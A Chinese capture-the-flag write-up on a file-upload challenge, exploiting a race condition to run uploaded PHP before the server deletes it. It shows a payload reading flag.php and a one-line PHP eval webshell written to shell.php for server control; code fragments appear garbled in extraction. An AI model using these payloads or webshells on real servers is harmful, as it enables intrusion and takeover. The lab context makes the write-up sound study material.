【攻防世界】Web系列之wzsc_文件上传
题目就是一道文件上传漏洞,但是直接上传php文件会显示成功,但访问时却没有该文件,应该是在后端检验文件后并删除了,所以这里可能存在条件竞争漏洞。
可以在/upload/目录下看到上传成功的文件,下面的test.txt就是我上传的文件

对目标地址进行目录扫描,结果如下

可以看到目录下有个flag.php,直接访问肯定是看不到的。所以这里使用条件竞争漏洞可以通过两种方式取读取flag,一种是上传php文件读取flag.php,一种是上传php文件在上传目录下创建一个webshell文件,获取服务器操作权限。
读取flag.php
上传一个test.php文件,实现读取flag.php的内容
1 | '../flag.php'); show_source( |
使用burpsuite一直发送该上传包,在使用我们编写的脚本取读取test.php文件,虽然后端在检验上传文件为恶意文件后会删除,但只要我们一直上传的同时去请求该文件,总有机会能在未删除的时候访问到test.php
脚本如下:
1 | import requests |
首先在burosuite中一直发送上传文件请求,如下

再运行脚本去访问test.php,可以看到结果得到flag.php内容如下

写webshell
和上面直接读取不一样的只是我们上传的php文件内容,如下
1 | "shell.php","w"),"<?php @eval($_POST['cmd']);?>"); fputs(fopen( |
还是和上面过程一样,首先使用burosuite一直上传文件,再运行脚本去请求test1.php

最后使用webshell连接工具去连接shell.php获取服务器权限,如下

打赏